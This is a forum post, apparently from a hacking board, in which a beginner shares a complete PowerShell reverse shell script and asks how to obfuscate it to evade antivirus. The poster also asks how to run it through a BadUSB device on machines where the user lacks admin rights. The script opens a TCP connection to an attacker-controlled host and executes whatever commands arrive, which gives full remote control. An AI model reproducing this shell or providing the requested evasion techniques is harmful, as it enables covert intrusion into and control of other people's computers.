

Forum:[Hack Forums](#)

Thread: [Which are the best Obfuscation Types or tools for a powershell payload? \[Newbie\]](#)

HrItD30 - September 5, 2025, 6:04 am

Hello! I'm pretty new to hacking and currently trying to learn because I know how vast and dangerous the internet has become (plus, let's be honest it's fun to learn cool tricks and feel like Aiden Pearce or Mr Robot, lol).

On a serious note, I understand the basics of reverse shells: I know how to set up a listener, generate a payload, and get everything working using the following PowerShell script. It works fine on an unprotected machine or even one that only has Windows Defender running with administrator privileges but it's extremely detectable for one with a basic Antivirus that ain't windows crapfender. Here's the script I've been testing:

```
$LHOST = "My_Ip"; $LPORT = 4444; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
```

Now, here's where I'm stuck: what could I do to make this less detectable? I'm testing it on my own PC with AVG antivirus active, and ideally, I'd like to automate execution via a BadUSB device. Should I just avoid changing the script by disabling the antivirus with the USB (which feels boring and inconvenient and probably won't work if the owner has no administration permission), or is there a smarter way to tweak the script so it avoids detection? (I tried obfuscating it in base 64 and other methods, but they either don't work or straight up get detected)

Also, could someone break down how obfuscation or whatever other technique I could use to make it undetectable actually works, step by step? I am asking this so I can fully understand what I'm doing instead of just copy-pasting code or just permanently following tutorials like a script kiddie. Thanks a lot for the help!